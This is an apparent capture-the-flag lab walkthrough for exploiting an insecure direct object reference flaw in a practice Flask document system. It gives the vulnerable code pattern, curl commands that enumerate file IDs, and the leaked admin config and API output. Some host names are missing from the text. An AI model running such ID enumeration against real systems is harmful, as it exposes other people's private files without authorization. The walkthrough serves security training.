This secure document management system thinks it can protect sensitive files with simple reference numbers. 📁 But experienced security researchers know that direct object references can be manipulated to access unauthorized resources! 🕵️ Master the art of parameter manipulation and discover how seemingly secure applications can leak sensitive information through predictable patterns. 🎯
Navigate to http://
to access the SecureFiles document management system. The main interface displays:
/view?file=XXXX
The application uses predictable numeric identifiers in the URL parameters, which is a classic indicator of potential IDOR vulnerabilities.
This is a real IDOR vulnerability with server-side authorization bypass. The Flask application checks if files exist but fails to verify if the current user has permission to access them:
# Vulnerable code pattern:
# if file_id not in FILES_DB:
# return error
# return FILES_DB[file_id] # Missing authorization check!
Key observations:
First, verify normal functionality by accessing the authorized files:
# Test authorized file access
curl "http:///view?file=1001"
curl "http:///view?file=1002"
curl "http:///view?file=1003"
Each authorized file returns:
Based on the sequential pattern (1001-1003), test adjacent and logical ID ranges:
# Test files before the authorized range
curl "http:///view?file=1000"
curl "http:///view?file=999"
# Test files after the authorized range
curl "http:///view?file=1004"
curl "http:///view?file=1005"
# Test administrative or system files
curl "http:///view?file=1"
curl "http:///view?file=100"
curl "http:///view?file=500"
Through systematic enumeration, discover that file ID 1
returns different content:
curl "http:///view?file=1"
This request reveals:
The administrative configuration file (ID: 1) contains the flag in the server-generated response:
SYSTEM CONFIGURATION FILE
========================
Application: SecureFiles v2.1
Owner: admin
Classification: CONFIDENTIAL
Security Settings:
- Authentication: Enabled
- Authorization: Basic ID-based (VULNERABLE!)
- Encryption: AES-256
- Audit Logging: Disabled
System Flag: [FLAG_UUID_HERE]
User Permissions:
- user123: files 1001-1003
- admin: files 1-100
- guest: files 2001-2100
The flag is clearly displayed in the "System Flag" field as a UUID format, served directly by the Flask application.
The IDOR vulnerability can also be exploited through browser manipulation:
http:///view?file=1001
1
in the address barhttp:///view?file=1
The application also exposes an API endpoint with the same IDOR vulnerability:
# Test API endpoint
curl "http:///api/files?id=1"
# Returns JSON with file content including flag
{
"id": 1,
"title": "System Configuration - CONFIDENTIAL",
"owner": "admin",
"modified": "2025-09-15 09:00:00",
"content": "...System Flag: [FLAG_UUID_HERE]..."
}
The Flask application logs unauthorized access attempts, which would be visible in server logs:
[SECURITY LOG] User 'user123' accessed file 1 owned by 'admin'
This demonstrates how IDOR vulnerabilities can be detected through proper logging and monitoring.
This challenge demonstrates a genuine server-side IDOR vulnerability:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.